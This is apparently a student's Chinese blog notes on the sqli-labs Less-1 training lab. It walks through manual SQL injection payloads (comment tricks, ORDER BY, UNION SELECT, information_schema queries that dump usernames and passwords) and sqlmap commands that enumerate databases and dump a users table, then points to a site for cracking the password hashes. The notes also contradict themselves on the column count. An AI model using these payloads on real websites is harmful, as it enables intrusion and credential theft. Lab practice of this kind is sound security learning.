云安全之sql注入(sqli-labs/Less-1)
文章目录
- 云安全之sql注入(sqli-labs/Less-1)
- 前言
- 一、闯关
-
- 二、总结
- 三、思路与解惑
前言
这学期学习云安全sql注入
—博客用于sqli闯关笔记—
参考内容:
https://cloud.tencent.com/developer/article/1906116
一、闯关
第一关
一、测试注入点
输入
?id =1 and 1=2 #发现没有验证真假命题,则会有注入漏洞
?id =1 ' #发现输入后报错,但是加注释恢复正常 ,因为注释会注释掉sql语句后边原先的’
#注释方式:作用:省略掉以后的语句,保留前面的
# 号注释
%23 注释
--+ 注释(常用)
此时index.php的sql语法变为:(语句又合法了—)
select * from users where id=‘1’ --+’
?id=1 order by 100 #因为我知道只有3个column,但是此处居然不报错(后来发现调注释的时候--+写错了)
?id =1' --+ #成功恢复。则确认的确有注释漏洞
?id=1 ' order by 4 --+ #报错,则数据库的字段列只有3个column
二、手工注入
1.查看前端显示的是哪些字段
?id=-1' union select 1,2,3 --+ #加'的原因是因为sql语句的’‘单引号冲突!
id=-1,一般没有id为-1的字段,输入后屏蔽掉原先的内容,然后联合搜索之后的1,2,3字段确定前端显示的是2,3字段
好的,猪狗大战正式开始,吃西瓜咯i
2.查看当前表的数据库和所在的系统mysql版本以及系统版本
常用查询信息
database() # 在用的数据库名
user() # 用户信息
version() # 数据库版本信息
@@basedir # 数据库安装路径
@@version_compile_os # 操作系统版本
3.通过information_schema查看对应数据库中有几个表
前言:mysql5.0以上的版本会自己带一个information_schema的数据库,里边存储了所有数据的名称,所有数据库的表,所有数据库的column和列名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名
#sql语法部分
SELECT * FROM admin_menu LIMIT 2 OFFSET 1; 说明:limit 个数,offset index索引
等于
SELECT * FROM admin_menu LIMIT 1,2; 说明:limit index索引,个数
其中:索引从0开始(^U^)ノ~YO
group_concat:合并数据,输出为一列
4.查一下security中的表单信息
UNION SELECT 1,group_concat(username SEPARATOR ‘-’),group_concat(password SEPARATOR ‘-’) FROM users --+
separator是指分割符
5.查询users表中数据(所有列的字段名)
6.找出想要的列数据从users表中展示出来即可
比如用户名和密码,嘿嘿
三、sqlmap注入
1.获取默认数据,默认数据 -u 输入目标地址 --batch获取默认数据
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --batch
这里展示了一些基本信息
2.获取数据库(可以获取所有的) –dbs
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --dbs
3.但是,上边的数据库不是我们想要的web数据的信息,我们需要指定一下: –current-db
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --current-db
5.其余笔记:
a.列出所有sqlserver用户
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --users
b.列出当前web数据库的使用用户
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --current-user
c.探测数据库账号和密码
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --passwords
d.列出数据库中的表
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' -D security --tables
其中,-D : 指定数据库名称,–tables : 列出所有表
注意的点
B:Boolean-based-blind (布尔型注入)
U:Union query-based (联合注入)
E:Error-based (报错型注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
-–batch 默认选项运行
–dbs 爆破数据库
-–technique 指定sqlmap使用的检测技术
sqlmap -u “http://localhost/Less-1/?id=1” --dbs --batch --technique B
6.对表操作
所有表:(用5.d就行)
查询表中所有的列
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' -D security -T users --columns
-D : 数据库名称
-T : 所查表名
–columns : 查询所有列
7.暴字段内容(书上是这么说的,搞得很兴奋!!)
sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' -D security -T users -C''id,username,password'' --dump
-D :数据库名称
-T : 所查表名
-C :所暴字段
–dump :将结果导出
如果字段数据太多的话可能需要太久,所以我们可以限制一下输入的行数
–start : 开始的行
–stop : 结束的行
8.最后需要解密的密码拿去密码网站解密即可
https://www.cmd5.com/
二、总结
sql手工注入是通过找到前端是输入漏洞,然后通过不断获取更多有关数据库的信息,进一步取获取数据,最终找到自己想要的东西
sqlmap注入则相对轻松,想要什么一行代码即可。
这是sql注入的第一道题,是开始、也是入门,所闻所见所想都会补充到其中,之后的笔记不会这么详细,智慧简略的根据步骤、思路做。
三、思路与解惑
为什么会用?id=1
我说实话不知道,但是我知道是要查id=1对应的字段的,这个sql注入点会注入到对应的数据库的表中所有就不需要有什么from哪个表了。
但,之后的联合查找需要!!!
并且,union select需要保证前后查找的字段数相同,所以,我们必须先通过order by找出正确的字段个数,这里是4,通过获取的字段验证前端显示的是哪几个字段。然后再取通过语法获取数据库名称,根据数据库名称去数据库information_schema获取 相应的表和相应表对应的列,然后一步步获取到自己想要的数据。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)